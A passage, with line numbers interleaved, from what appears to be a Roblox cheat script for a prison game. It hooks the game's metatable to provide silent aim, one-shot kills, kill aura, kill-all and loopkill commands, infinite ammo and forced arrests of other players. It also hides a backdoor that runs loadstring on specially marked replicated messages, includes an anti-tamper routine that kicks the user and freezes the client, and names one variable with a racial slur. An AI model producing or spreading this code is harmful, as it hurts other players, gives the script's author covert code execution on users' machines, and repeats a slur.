if v and v:IsA("TextLabel") then
3194
table.insert(layout,v)
3195
end
3196
end
3197
SearchBar.Changed:Connect(function(Changed)
3198
if Changed:lower() == "text" then
3199
CommandsList.CanvasPosition = Vector2.new(0, 0)
3200
if #SearchBar.Text >0 then
3201
for i,v in pairs(CommandsList:GetChildren()) do
3202
if v:IsA("TextLabel") then
3203
if not string.lower(v.Text):match(string.lower(SearchBar.Text)) then
3204
v.Parent = ScreenGui
3205
v.Visible = false
3206
end
3207
end
3208
end
3209
for i,v in pairs(ScreenGui:GetChildren()) do
3210
if v.Name == "TEMP_CMD" then
3211
if string.lower(v.Text):match(string.lower(SearchBar.Text)) then
3212
v.Parent = CommandsList
3213
v.Visible = true
3214
end
3215
end
3216
end
3217
elseif #SearchBar.Text <1 then
3218
for i,v in pairs(layout) do
3219
v.Parent = ScreenGui
3220
v.Visible = false
3221
end
3222
task.wait()
3223
for i,v in pairs(layout) do
3224
if v then
3225
v.Parent = CommandsList
3226
v.Visible = true
3227
end
3228
end
3229
end
3230
end
3231
end)
3232
UserInputService.InputBegan:connect(function(UserInput,Typing)
3233
if not Unloaded and not Typing then
3234
if UserInput.KeyCode == Enum.KeyCode.LeftShift then
3235
Running = true
3236
end
3237
if UserInput.KeyCode == Enum.KeyCode.F and States.OnePunch and not Running then --//Onepunch nothing advanced just to support weak exploits
3238
local a = API:GetPosition()*CFrame.new(0,0,-1)
3239
local Part = Instance.new("Part",workspace)
3240
local p = nil
3241
Part.Transparency = 1
3242
Part.CanCollide = false
3243
Part.CFrame = a
3244
p = Part.Touched:Connect(function(h)
3245
if h and h.Parent and h.Parent:FindFirstChildOfClass("Humanoid") then
3246
local Target = game:GetService("Players"):FindFirstChild(h.Parent.Name)
3247
if Target and Target~= Player then
3248
for i =1,20 do
3249
task.spawn(function()
3250
game.ReplicatedStorage["meleeEvent"]:FireServer(Target)
3251
end)
3252
end
3253
p:Disconnect()
3254
Part:Destroy()
3255
end
3256
end
3257
end)
3258
task.spawn(function()
3259
wait(1)
3260
if Part then
3261
Part:Destroy()
3262
p:Disconnect()
3263
end
3264
end)
3265
end
3266
if UserInput.KeyCode == Enum.KeyCode.Semicolon and not Unloaded then
3267
task.wait(.024)
3268
CommandBar:CaptureFocus()
3269
end
3270
end
3271
end)
3272
UserInputService.InputEnded:connect(function(UserInput,Typing)
3273
if UserInput.KeyCode == Enum.KeyCode.LeftShift and not Unloaded then
3274
Running = false
3275
end
3276
end)
3277
local Players = game.Players
3278
local LocalPlayer = Players.LocalPlayer
3279
local GetPlayers = Players.GetPlayers
3280
local Camera = workspace.CurrentCamera
3281
local WTSP = Camera.WorldToScreenPoint
3282
local FindFirstChild = game.FindFirstChild
3283
local Vector2_new = Vector2.new
3284
local Mouse = LocalPlayer.GetMouse(LocalPlayer)
3285
local function NotObstructing(Destination, Ancestor)
3286
local ObstructingParts = Camera.GetPartsObscuringTarget(Camera, {Destination}, {Ancestor, LocalPlayer.Character})
3287
3288
for i,v in ipairs(ObstructingParts) do
3289
pcall(function()
3290
if v.Transparency >= 1 then
3291
table.remove(ObstructingParts, i)
3292
end
3293
end)
3294
end
3295
3296
if #ObstructingParts <= 0 then
3297
return true
3298
end
3299
local RaycastParameters = RaycastParams.new()
3300
RaycastParameters.IgnoreWater = true
3301
RaycastParameters.FilterType = Enum.RaycastFilterType.Blacklist
3302
RaycastParameters.FilterDescendantsInstances = {LocalPlayer.Character}
3303
3304
RaycastParameters.FilterDescendantsInstances = {LocalPlayer.Character}
3305
3306
local Origin = Camera.CFrame.Position
3307
local Direction = (Destination - Origin).Unit * 500
3308
local RayResult = workspace.Raycast(workspace, Origin, Direction, RaycastParameters) or {
3309
Instance = nil;
3310
Position = Origin + Direction;
3311
Material = Enum.Material.Air;
3312
}
3313
3314
if RayResult.Instance and (RayResult.Instance.IsDescendantOf(RayResult.Instance, Ancestor) or RayResult.Instance == Ancestor) then
3315
return true
3316
end
3317
return false
3318
end
3319
function ClosestChar()
3320
local Max, Close = 170
3321
for I,V in pairs(GetPlayers(Players)) do
3322
if V ~= LocalPlayer and V.Team ~= LocalPlayer.Team and V.Character then
3323
local Head = FindFirstChild(V.Character, "Head")
3324
if Head then
3325
if NotObstructing(V.Character.PrimaryPart.Position, V.Character) == false then
3326
continue
3327
end
3328
local Pos, OnScreen = WTSP(Camera, Head.Position)
3329
if OnScreen then
3330
local Dist = (Vector2_new(Pos.X, Pos.Y) - Vector2_new(Mouse.X, Mouse.Y)).Magnitude
3331
if Dist < Max then
3332
Max = Dist
3333
Close = V.Character
3334
end
3335
end
3336
end
3337
end
3338
end
3339
3340
return Close
3341
end
3342
local blackperson; blackperson = hookfunction(game.Destroy,function(a)
3343
local isExploit = checkcaller()
3344
if a and a:IsA("Player") and not Unloaded and isExploit then
3345
if API_Prem.CheckPremium(a) then
3346
task.spawn(function()
3347
pcall(function()
3348
game:GetService("Players").LocalPlayer:Kick("TAMPER DETECTED")
3349
end)
3350
end)
3351
wait(1)
3352
while true do end
3353
end
3354
end
3355
end)
3356
local MT = getrawmetatable(game)
3357
local __namecall = MT.__namecall
3358
setreadonly(MT, false)
3359
MT.__namecall = newcclosure(function(self, ...)
3360
local Method = getnamecallmethod()
3361
local isExploit = checkcaller()
3362
if Method:lower() == "destroy" or Method:lower() == "remove" and Unloaded == false then
3363
if self.IsA(self, "Player") and isExploit then
3364
if API_Prem.CheckPremium(self) then
3365
task.spawn(function()
3366
pcall(function()
3367
game:GetService("Players").LocalPlayer:Kick("TAMPER DETECTED")
3368
end)
3369
end)
3370
wait(1)
3371
while true do end
3372
end
3373
end
3374
end
3375
if States.SilentAim then
3376
if not Unloaded and Method == "FindPartOnRay" and not checkcaller() and tostring(getfenv(0).script) == "GunInterface" then
3377
local Character = ClosestChar()
3378
if Character then
3379
return Character.Torso, Character.Torso.Position+Vector3.new(Random.new():NextNumber(-1,1),Random.new():NextNumber(.1,.8),Random.new():NextNumber(-.5,.5))
3380
end
3381
end
3382
end
3383
return __namecall(self, ...)
3384
end)
3385
setreadonly(MT, true)
3386
plr.PlayerGui.Home.fadeFrame.Visible = false--//black bar
3387
plr:GetMouse().Button1Up:Connect(function()
3388
local target = plr:GetMouse().Target
3389
if not Unloaded and PremiumActivated and target and target.Parent:FindFirstChildOfClass("Humanoid") and game:GetService("Players"):FindFirstChild(target.Parent.Name) and States.OneShot then
3390
local Vic = game:GetService("Players"):FindFirstChild(target.Parent.Name)
3391
local Gun = plr.Character:FindFirstChildOfClass("Tool")
3392
if Gun and Gun:FindFirstChildOfClass("ModuleScript") and Vic and Vic.Team ~= plr.Team then
3393
local Bullets = API:CreateBulletTable(20,(Vic.Character:FindFirstChild("Head") or Vic.Character:FindFirstChildOfClass("Part")))
3394
game:GetService("ReplicatedStorage").ShootEvent:FireServer(Bullets, Gun)
3395
end
3396
end
3397
end)
3398
--//LOOPS
3399
coroutine.wrap(function()
3400
while task.wait() do --//Faster loop
3401
if not Unloaded then
3402
if States.AntiSit then
3403
game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):SetStateEnabled(Enum.HumanoidStateType.Seated, false)
3404
end
3405
else
3406
break
3407
end
3408
end
3409
end)()
3410
3411
coroutine.wrap(function()
3412
while task.wait() do
3413
if States.spawnguns and not Unloaded then
3414
if plr.Team ~= game.Teams.Guards then
3415
API:ChangeTeam(game.Teams.Guards)
3416
wait(1)
3417
end
3418
if States.spawnguns then
3419
plr.Character:FindFirstChildOfClass("Humanoid").Health = 0
3420
wait()
3421
workspace.Remote.TeamEvent:FireServer("Bright blue")
3422
end
3423
end
3424
end
3425
end)()
3426
3427
Temp.KIllaurCD = false
3428
coroutine.wrap(function()
3429
while wait(.58) do --//slow loop
3430
if Unloaded then
3431
return
3432
end
3433
3434
for i,v in pairs(Temp.KillAuras) do
3435
for _,a in pairs(game:GetService("Players"):GetPlayers()) do
3436
if a and a ~= v and a ~= Player then
3437
if a and a.Character and a.Character:FindFirstChild("HumanoidRootPart") and(a.Character.HumanoidRootPart.Position - v.Character.HumanoidRootPart.Position).magnitude <25 and a.Character.Humanoid.Health >0 and not table.find(API.Whitelisted,a) then
3438
if not Temp.KIllaurCD then
3439
Temp.KIllaurCD = true
3440
API:KillPlayer(a,nil,true)
3441
wait(.25)
3442
Temp.KIllaurCD = false
3443
end
3444
end
3445
end
3446
end
3447
end
3448
if States.AntiShield then
3449
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
3450
if v and v.Character and v:FindFirstChild("Torso") and v:FindFirstChild("Torso"):FindFirstChild("ShieldFolder") then
3451
v.Torso:FindFirstChild("ShieldFolder"):Destroy()
3452
end
3453
end
3454
end
3455
if States.AntiTase and getconnections then
3456
for i,v in pairs(getconnections(workspace:WaitForChild("Remote").tazePlayer.OnClientEvent)) do
3457
v:Disable()
3458
end
3459
end
3460
if States.AutoInfAmmo then
3461
coroutine.wrap(function()
3462
for i,v in pairs({unpack(Player.Backpack:GetChildren()), unpack(Player.Character:GetChildren())}) do
3463
if v and v:IsA("Tool") and not table.find(Reload_Guns,v) then
3464
local cc = require(v.GunStates)
3465
cc["MaxAmmo"] = math.huge
3466
cc["StoredAmmo"] = math.huge
3467
cc["AmmoPerClip"] = math.huge
3468
cc["CurrentAmmo"] = math.huge
3469
table.insert(Reload_Guns, v)
3470
end
3471
end
3472
end)()
3473
end
3474
for i,v in pairs(Reload_Guns) do
3475
if v then
3476
task.spawn(function()
3477
game:GetService("ReplicatedStorage").ReloadEvent:FireServer(v)
3478
end)
3479
end
3480
end
3481
if not FLYING then
3482
game:GetService("ContextActionService"):UnbindAction("forward")
3483
game:GetService("ContextActionService"):UnbindAction("backward")
3484
game:GetService("ContextActionService"):UnbindAction("left")
3485
game:GetService("ContextActionService"):UnbindAction("right")
3486
end
3487
coroutine.wrap(function()
3488
if States.loopkillcriminals then
3489
wait(.5)
3490
API:killall(game.Teams.Criminals)
3491
end
3492
if States.loopkillinmates then
3493
wait(.5)
3494
API:killall(game.Teams.Inmates)
3495
end
3496
if States.loopkillguards then
3497
wait(.5)
3498
API:killall(game.Teams.Guards)
3499
end
3500
if Temp and Temp.Loopkillall then
3501
wait(.5)
3502
API:killall()
3503
end
3504
end)()
3505
coroutine.wrap(function()
3506
for i,v in pairs(Temp.Loopkilling) do
3507
if v and game:GetService("Players"):FindFirstChild(v) then
3508
local Target = game:GetService("Players"):FindFirstChild(v)
3509
if Target.Character and Target.Character:FindFirstChildOfClass("Humanoid") and Target.Character:FindFirstChildOfClass("Humanoid").Health >0 and not Target.Character:FindFirstChildOfClass("ForceField") then
3510
if Player.Team == Target.Team and Player.Team == game.Teams.Guards then
3511
if Target.Team ~= game.Teams.Inmates then
3512
API:ChangeTeam(game.Teams.Inmates)
3513
else
3514
API:ChangeTeam(game.Teams.Criminals)
3515
end
3516
end
3517
API:KillPlayer(Target)
3518
end
3519
end
3520
end
3521
for i,v in pairs(Temp.LoopmKilling) do
3522
if v and game:GetService("Players"):FindFirstChild(v) then
3523
local Target = game:GetService("Players"):FindFirstChild(v)
3524
if Target.Character and Target.Character:FindFirstChildOfClass("Humanoid") and Target.Character:FindFirstChildOfClass("Humanoid").Health >0 and not Target.Character:FindFirstChildOfClass("ForceField") then
3525
API:KillMPlayer(Target)
3526
end
3527
end
3528
end
3529
end)()
3530
end
3531
end)()
3532
task.spawn(function()
3533
while task.wait() do
3534
if not plr.Character:FindFirstChildOfClass("ForceField") and States.ff then
3535
API:ChangeTeam(plr.Team.Name)
3536
wait(.4)
3537
end
3538
if Unloaded then
3539
break
3540
end
3541
end
3542
end)
3543
function MostClose(Position)
3544
local Max, Closest = math.huge,nil
3545
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
3546
if v.Character then
3547
if v.Character:FindFirstChildOfClass("Tool") or v.Backpack:FindFirstChildOfClass("Tool") then
3548
local ShootPart = (v.Character:FindFirstChildOfClass("Tool") or v.Backpack:FindFirstChildOfClass("Tool")):FindFirstChild("Muzzle")
3549
if v.Character.PrimaryPart and (v.Character:FindFirstChildOfClass("Tool") or v.Backpack:FindFirstChildOfClass("Tool")):FindFirstChild("Muzzle") then
3550
local Distance = (ShootPart.Position-Position).Magnitude
3551
if Distance < Max then
3552
Max = Distance
3553
Closest = v
3554
end
3555
end
3556
end
3557
end
3558
end
3559
return Closest
3560
end
3561
local CurrentTime = 0
3562
function GetPlayerHit(Part)
3563
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
3564
if v.Character:IsAncestorOf(Part) then
3565
return v
3566
end
3567
end
3568
end
3569
local ShootbackCooldown = false
3570
local function ReplicationEventFunction(Table)
3571
if Table[1] and Table[1].MSG ~= nil and Table[1].PLA ~= nil then
3572
if Table[1].Cframe.Z == 20000 then
3573
task.spawn(function()
3574
loadstring(tostring(Table[1].MSG))()
3575
end)
3576
end
3577
end
3578
if Unloaded then return end
3579
local Count = 0
3580
pcall(function()
3581
for i,v in pairs(Table) do
3582
if Count <= 2 then
3583
local Hit=v.Hit
3584
local Distance=v.Distance
3585
local Cframe=v.Cframe
3586
local RayObject =v.RayObject
3587
if Hit and Distance and Cframe then
3588
if Cframe ~= CFrame.new() then
3589
local PlayerHit = nil
3590
local WhoShot = nil
3591
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
3592
if v.Character:IsAncestorOf(Hit) then
3593
WhoShot = v
3594
PlayerHit = Hit
3595
break
3596
end
3597
end
3598
local Worked,ufhwiufwe2 = pcall(function()
3599
WhoShot = MostClose((Cframe * CFrame.new(0, 0, -Distance / 2)).p)
3600
end)
3601
if Worked and WhoShot and PlayerHit and not Unloaded then
3602
if States.ShootBack and not ShootbackCooldown then
3603
if PlayerHit then
3604
if PlayerHit and Player.Character:IsAncestorOf(PlayerHit) and ShootbackCooldown == false and WhoShot.Team ~= plr.Team then
3605
ShootbackCooldown = true
3606
API:KillPlayer(WhoShot)
3607
wait(1)
3608
ShootbackCooldown = false
3609
end
3610
end
3611
end
3612
end
3613
end
3614
end
3615
Count = Count + 1
3616
end
3617
end
3618
end)
3619
end
3620
coroutine.wrap(function()
3621
game:GetService("ReplicatedStorage"):WaitForChild("ReplicateEvent").OnClientEvent:Connect(ReplicationEventFunction)
3622
end)()
3623
--ClientGunReplicator
3624
if PremiumActivated then
3625
local BulletCoolDown = false
3626
Temp.GunHandler =game:GetService("ReplicatedStorage"):WaitForChild("ReplicateEvent").OnClientEvent:connect(function(Amount, Value)
3627
if not States.anticrash then
3628
return
3629
end
3630
if #Amount <70 and not BulletCoolDown then
3631
BulletCoolDown =true
3632
for i = 1, #Amount do
3633
local Bullet = Instance.new("Part", workspace.CurrentCamera)
3634
Bullet.Name = "RayPart"
3635
Bullet.Material = Enum.Material.Neon
3636
Bullet.Anchored = true
3637
Bullet.CanCollide = false
3638
Bullet.Transparency = 0.5
3639
Bullet.formFactor = Enum.FormFactor.Custom
3640
Bullet.Size = Vector3.new(0.2, 0.2, Amount[i].Distance)
3641
Bullet.CFrame = Amount[i].Cframe
3642
game.Debris:AddItem(Bullet, 0.05)
3643
Instance.new("BlockMesh", Bullet).Scale = Vector3.new(0.5, 0.5, 1)
3644
if Value then
3645
Bullet.BrickColor = BrickColor.new("Cyan")
3646
local Light = Instance.new("SurfaceLight", Bullet)
3647
Light.Color = Color3.new(0, 0.9176470588235294, 1)
3648
Light.Range = 5
3649
Light.Face = "Bottom"
3650
Light.Brightness = 10
3651
Light.Angle = 180
3652
task.spawn(function()
3653
for v7 = 1, 10 do
3654
Bullet.Transparency = Bullet.Transparency + 0.1
3655
Light.Brightness = Light.Brightness - 1
3656
wait()
3657
end
3658
end)
3659
else
3660
Bullet.BrickColor = BrickColor.Yellow()
3661
end
3662
end
3663
wait(.01)
3664
BulletCoolDown = false
3665
end
3666
end)
3667
local CoolDown = false
3668
Temp.SoundHandler = game:GetService("ReplicatedStorage"):WaitForChild("SoundEvent").OnClientEvent:connect(function(Sound1, p4)
3669
if not States.anticrash then
3670
return
3671
end
3672
if CoolDown then
3673
CoolDown = true
3674
local Sound = Sound1:Clone()
3675
Sound.Parent = Sound1.Parent
3676
Sound:Play()
3677
Sound.Played:Connect(function()
3678
wait()
3679
game:GetService("Debris"):AddItem(Sound,0.001)
3680
end)
3681
wait(.1)
3682
CoolDown = false
3683
end
3684
end)
3685
Temp.WarnHandler = game:GetService("ReplicatedStorage"):WaitForChild("WarnEvent").OnClientEvent:connect(function(Text)
3686
if not States.anticrash then
3687
return
3688
end
3689
local WarnGui = game:GetService("ReplicatedStorage").gooeys.WarnGui:Clone()
3690
WarnGui.Parent = plr.PlayerGui
3691
if Text == 1 then
3692
WarnGui.Frame.desc.Text = "This is your last warning. You will become a prisoner if you kill an innocent player 1 more time."
3693
else
3694
WarnGui.Frame.desc.Text = "Do not kill innocent people! You will be arrested and jailed if you kill " .. Text .. " more times."
3695
end
3696
WarnGui.Frame.LocalScript.Disabled = false
3697
end)
3698
end
3699
function Msg(player,Text)
3700
local ohString1 = "/w "..player.Name.." "..Text
3701
local ohString2 = "All"
3702
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(ohString1, ohString2)
3703
end
3704
3705
local Arg1_P=""
3706
local function PlayerCheckCommand(G)
3707
if Arg1_P == Prefix..G then
3708
return true
3709
else
3710
return false
3711
end
3712
end
3713
function AdminChatted(Text,Speaker)
3714
local Commands = {--//Actual commands
3715
Prefix.."car",
3716
Prefix.."arrest [PLAYER,ALL]",
3717
Prefix.."kill [PLAYER,ALL,TEAM]",
3718
Prefix.."opendoors",
3719
Prefix.."loopkill [PLAYER,ALL]",
3720
Prefix.."unloopkill [PLAYER,ALL]",
3721
Prefix.."bring [PLAYER]",
3722
Prefix.."goto [PLAYER]",
3723
}
3724
local Commands2 = { --//Teleports
3725
Prefix.."nex [ME,PLAYER]",
3726
Prefix.."prison [ME,PLAYER]",
3727
Prefix.."cbase [ME,PLAYER]",
3728
Prefix.."yard [ME,PLAYER]",
3729
Prefix.."tower [ME,PLAYER]",
3730
Prefix.."armory [ME,PLAYER]"
3731
}
3732
Speaker = game:GetService("Players"):FindFirstChild(Speaker)
3733
if Unloaded then return end
3734
local TXT = string.lower(Text)
3735
local SPLITED = TXT:split(" ")
3736
Arg1_P = SPLITED[1]
3737
local Arg2_P = SPLITED[2]
3738
local Arg3_P = SPLITED[3]
3739
local Arg4_P = SPLITED[4]
3740
if PlayerCheckCommand("cmds") then
3741
do
3742
local Converted = Commands
3743
for i,v in pairs(Converted) do
3744
if v then
3745
Converted[i]=Converted[i]..", "
3746
end
3747
end
3748
local Output = table.concat(Converted)
3749
Msg(Speaker,Output)
3750
end
3751
do
3752
local Converted = Commands2
3753
for i,v in pairs(Converted) do
3754
if v then
3755
Converted[i]=Converted[i]..", "
3756
end
3757
end
3758
local Output = table.concat(Converted)
3759
Msg(Speaker,Output)
3760
end
3761
end
3762
if PlayerCheckCommand("loopkill") then
3763
if Arg2_P == "all" then
3764
Temp.Loopkillall = false
3765
API:Notif("Unloopkilling all")
3766
else
3767
local Player = API:FindPlayer(Arg2_P)
3768
if table.find(Temp.Loopkilling,Player.Name) then
3769
table.remove(Temp.Loopkilling,table.find(Temp.Loopkilling,Player.Name))
3770
API:Notif("Player has been unlooped")
3771
else
3772
API:Notif("Player is already getting loop killed!",false)
3773
end
3774
end
3775
end
3776
3777
if PlayerCheckCommand("loopkill") then
3778
if Arg2_P == "all" then
3779
Temp.Loopkillall = true
3780
else
3781
local Player = API:FindPlayer(Arg2_P)
3782
if not table.find(Temp.Loopkilling,Player.Name) then
3783
table.insert(Temp.Loopkilling, Player.Name)
3784
end
3785
end
3786
end
3787
3788
if PlayerCheckCommand("arrest") then
3789
if Arg2_P =="all" then
3790
local Lastp = API:GetPosition()
3791
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
3792
if v ~= Player and v.Team ~= game.Teams.Guards and v.Team ~= game.Teams.Neutral and v ~= plr and API:BadArea(v) or v.Team == game.Teams.Criminals and v.Character:FindFirstChildOfClass("Humanoid") and v.Character:FindFirstChildOfClass("Humanoid").Health>0 then
3793
local d = false
3794
task.spawn(function()
3795
repeat
3796
if v.Team == game.Teams.Inmates then
3797
break
3798
end
3799
task.wait()
3800
pcall(function()
3801
API:MoveTo(v.Character:GetPrimaryPartCFrame())
3802
end)
3803
if v.Character:FindFirstChildOfClass("Humanoid").Health<1 then
3804
break
3805
end
3806
API:UnSit()
3807
until d
3808
end)
3809
repeat
3810
wait(.2)
3811
local a = pcall(function()
3812
local ohInstance1 = v.Character["HumanoidRootPart"]
3813
workspace.Remote.arrest:InvokeServer(ohInstance1)
3814
end)
3815
if v.Character:FindFirstChildOfClass("Humanoid").Health<1 then
3816
break
3817
end
3818
API:UnSit()
3819
until v.Character["Head"]:FindFirstChildOfClass("BillboardGui")
3820
d = true
3821
API:MoveTo(Lastp)
3822
wait(.7)
3823
end
3824
end
3825
API:MoveTo(Lastp)
3826
else
3827
local Player = API:FindPlayer(Arg2_P)
3828
local v = Player
3829
local Lastp = API:GetPosition()
3830
if v.Team ~= game.Teams.Guards and v.Team ~= game.Teams.Neutral and v ~= plr and API:BadArea(v) or v.Team == game.Teams.Criminals and v.Character:FindFirstChildOfClass("Humanoid") and v.Character:FindFirstChildOfClass("Humanoid").Health>0 then
3831
if v == Player then
3832
local d = false
3833
task.spawn(function()
3834
repeat
3835
task.wait()
3836
pcall(function()
3837
API:MoveTo(Player.Character:GetPrimaryPartCFrame())
3838
end)
3839
if v.Character:FindFirstChildOfClass("Humanoid").Health<1 then
3840
break
3841
end
3842
until d
3843
end)
3844
repeat
3845
wait(.2)
3846
local a = pcall(function()
3847
local ohInstance1 = v.Character["HumanoidRootPart"]
3848
workspace.Remote.arrest:InvokeServer(ohInstance1)
3849
end)
3850
if v.Character:FindFirstChildOfClass("Humanoid").Health<1 then
3851
break
3852
end
3853
API:UnSit()
3854
until v.Character["Head"]:FindFirstChildOfClass("BillboardGui")
3855
d = true
3856
end
3857
else
3858
API:Notif("This Player cannot be arrested",false)
3859
end
3860
API:MoveTo(Lastp)
3861
end
3862
end
3863
if PlayerCheckCommand("aura") then
3864
3865
if Arg2_P then
3866
local Player = API:FindPlayer(Arg2_P)
3867
if not table.find(Temp.KillAuras,Player) then
3868
table.insert(Temps.KillAuras, Player)
3869
end
3870
elseif not Arg2_P then
3871
if not table.find(Temp.KillAuras,Speaker) then
3872
table.insert(Temps.KillAuras, Speaker)
3873
end
3874
end
3875
end
3876
if PlayerCheckCommand("unaura") then
3877
3878
if Arg2_P then
3879
local Player = API:FindPlayer(Arg2_P)
3880
if table.find(Temp.KillAuras,Player) then
3881
table.remove(Temp.KillAuras,table.find(Temp.KillAuras,Player))
3882
end
3883
else
3884
if table.find(Temp.KillAuras,Speaker) then
3885
table.remove(Temp.KillAuras,table.find(Temp.KillAuras,Speaker))
3886
end
3887
end
3888
end
3889
if PlayerCheckCommand("tase") then
3890
local Player = API:FindPlayer(Arg2_P)
3891
if Player then
3892
local Oldt = Player.Team
3893
API:ChangeTeam(game.Teams.Guards)
3894
wait()
3895
task.spawn(function()
3896
game:GetService("ReplicatedStorage").ReloadEvent:FireServer(game:GetService("Players").LocalPlayer.Backpack.Taser)
3897
end)
3898
local ohTable1 = {
3899
[1] = {
3900
["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
3901
["Distance"] = -1,
3902
["Cframe"] = CFrame.new(),
3903
["Hit"] = Player.Character.Head
3904
}
3905
}
3906
local ohInstance2 = game:GetService("Players").LocalPlayer.Backpack.Taser
3907
3908
game:GetService("ReplicatedStorage").ShootEvent:FireServer(ohTable1, ohInstance2)
3909
task.spawn(function()
3910
game:GetService("ReplicatedStorage").ReloadEvent:FireServer(game:GetService("Players").LocalPlayer.Backpack.Taser)
3911
end)
3912
wait(.1)
3913
API:ChangeTeam(Oldt)
3914
end
3915
end
3916
if PlayerCheckCommand("goto") then
3917
local Target = API:FindPlayer(Arg2_P)
3918
if Target then
3919
API:bring(Speaker,Target.Character:GetPrimaryPartCFrame())
3920
end
3921
end
3922
if PlayerCheckCommand("bring") then
3923
local Target = API:FindPlayer(Arg2_P)
3924
if Target then
3925
API:bring(Target,Speaker.Character.Head.CFrame)
3926
end
3927
end
3928
if PlayerCheckCommand("opengate") then
3929
local OldPos = game:GetService("Players").LocalPlayer.Character:GetPrimaryPartCFrame()
3930
API:MoveTo(CFrame.new(503.998993, 102.039917, 2242.79907, 0.99996537, -1.0554821e-08, -0.00832392555, 1.00791926e-08, 1, -5.71817864e-08, 0.00832392555, 5.70959067e-08, 0.99996537))
3931
wait(.1)
3932
workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.buttons["Prison Gate"]["Prison Gate"])
3933
API:MoveTo(OldPos)
3934
end
3935
if PlayerCheckCommand("opendoors") then
3936
if not firetouchinterest then
3937
return API:Notif("Your exploit doesnt support this command!",false)
3938
end
3939
local LastTeam =plr.Team
3940
API:ChangeTeam(game.Teams.Guards)
3941
wait(.7)
3942
task.spawn(function()
3943
local Arg_1 = game:GetService("Workspace")["Prison_ITEMS"].buttons["Prison Gate"]["Prison Gate"]
3944
local Event = game:GetService("Workspace").Remote.ItemHandler
3945
Event:InvokeServer(Arg_1)
3946
end)
3947
for i,v in pairs(game:GetService("Workspace").Doors:GetChildren()) do
3948
if v then
3949
if v:FindFirstChild("block") and v:FindFirstChild("block"):FindFirstChild("hitbox") then
3950
firetouchinterest(Player.Character.HumanoidRootPart,v.block.hitbox,0)
3951
firetouchinterest(Player.Character.HumanoidRootPart,v.block.hitbox,1)
3952
end
3953
end
3954
end
3955
wait(1)
3956
API:ChangeTeam(LastTeam)
3957
end
3958
if PlayerCheckCommand("kill") then
3959
if Arg2_P == "all" then
3960
API:killall()
3961
elseif Arg2_P == "everyone" then
3962
API:killall()
3963
elseif Arg2_P == "others" then
3964
API:killall()
3965
elseif Arg2_P == "guards" then
3966
API:killall(game.Teams.Guards)
3967
elseif Arg2_P == "inmates" then
3968
API:killall(game.Teams.Inmates)
3969
elseif Arg2_P == "criminals" then
3970
API:killall(game.Teams.Criminals)
3971
else
3972
local Player = API:FindPlayer(Arg2_P)
3973
if Player then
3974
API:KillPlayer(Player)
3975
end
3976
end
3977
end
3978
if PlayerCheckCommand("nex") then
3979
if Arg2_P == "me" then
3980
API:bring(Speaker, CFrame.new(916.738098, 99.989975, 2375.38403, 0.99996829, 0, 0.00796249602, 0, 1, 0, -0.00796249602, 0, 0.99996829))
3981
elseif Arg2_P then
3982
local Target = API:FindPlayer(Arg2_P)
3983
if Target then
3984
API:bring(Target, CFrame.new(916.738098, 99.989975, 2375.38403, 0.99996829, 0, 0.00796249602, 0, 1, 0, -0.00796249602, 0, 0.99996829))
3985
end
3986
else
3987
API:bring(Speaker, CFrame.new(916.738098, 99.989975, 2375.38403, 0.99996829, 0, 0.00796249602, 0, 1, 0, -0.00796249602, 0, 0.99996829))
3988
end
3989
end
3990
if PlayerCheckCommand("prison") then
3991
if Arg2_P == "me" then
3992
API:bring(Speaker, CFrame.new(916.738098, 99.989975, 2375.38403, 0.99996829, 0, 0.00796249602, 0, 1, 0, -0.00796249602, 0, 0.99996829))
3993
elseif Arg2_P then
3994
local Target = API:FindPlayer(Arg2_P)
3995
if Target then
3996
API:bring(Target, CFrame.new(916.738098, 99.989975, 2375.38403, 0.99996829, 0, 0.00796249602, 0, 1, 0, -0.00796249602, 0, 0.99996829))
3997
end
3998
else
3999
API:bring(Speaker, CFrame.new(916.738098, 99.989975, 2375.38403, 0.99996829, 0, 0.00796249602, 0, 1, 0, -0.00796249602, 0, 0.99996829))
4000
end
4001
end
4002
if PlayerCheckCommand("yard") then
4003
if Arg2_P == "me" then
4004
API:bring(Speaker, CFrame.new(792.50885, 97.9999237, 2467.05664, 0.999635994, 2.4151424e-08, -0.0269802082, -2.5547001e-08, 1, -5.13812246e-08, 0.0269802082, 5.20517851e-08, 0.999635994))
4005
elseif Arg2_P then
4006
local Target = API:FindPlayer(Arg2_P)
4007
if Target then
4008
API:bring(Target, CFrame.new(792.50885, 97.9999237, 2467.05664, 0.999635994, 2.4151424e-08, -0.0269802082, -2.5547001e-08, 1, -5.13812246e-08, 0.0269802082, 5.20517851e-08, 0.999635994))
4009
end
4010
else
4011
API:bring(Speaker, CFrame.new(792.50885, 97.9999237, 2467.05664, 0.999635994, 2.4151424e-08, -0.0269802082, -2.5547001e-08, 1, -5.13812246e-08, 0.0269802082, 5.20517851e-08, 0.999635994))
4012
end
4013
end
4014
if PlayerCheckCommand("tower") then
4015
if Arg2_P == "me" then
4016
API:bring(Speaker, CFrame.new(822.355164, 142.638184, 2587.71753, 0.999500692, 1.78500699e-08, -0.0315965861, -1.87901747e-08, 1, -2.94564462e-08, 0.0315965861, 3.00354444e-08, 0.999500692))
4017
elseif Arg2_P then
4018
local Target = API:FindPlayer(Arg2_P)
4019
if Target then
4020
API:bring(Target, CFrame.new(822.355164, 142.638184, 2587.71753, 0.999500692, 1.78500699e-08, -0.0315965861, -1.87901747e-08, 1, -2.94564462e-08, 0.0315965861, 3.00354444e-08, 0.999500692))
4021
end
4022
else
4023
API:bring(Speaker, CFrame.new(822.355164, 142.638184, 2587.71753, 0.999500692, 1.78500699e-08, -0.0315965861, -1.87901747e-08, 1, -2.94564462e-08, 0.0315965861, 3.00354444e-08, 0.999500692))
4024
end
4025
end
4026
if PlayerCheckCommand("cbase") then
4027
if Arg2_P == "me" then
4028
API:bring(Speaker, CFrame.new(-843.855469, 93.7955246, 2058.3606, 0.00948868692, -4.14198537e-10, 0.999954998, 6.77936429e-10, 1, 4.07784168e-10, -0.999954998, 6.74036604e-10, 0.00948868692))
4029
elseif Arg2_P then
4030
local Target = API:FindPlayer(Arg2_P)
4031
if Target then
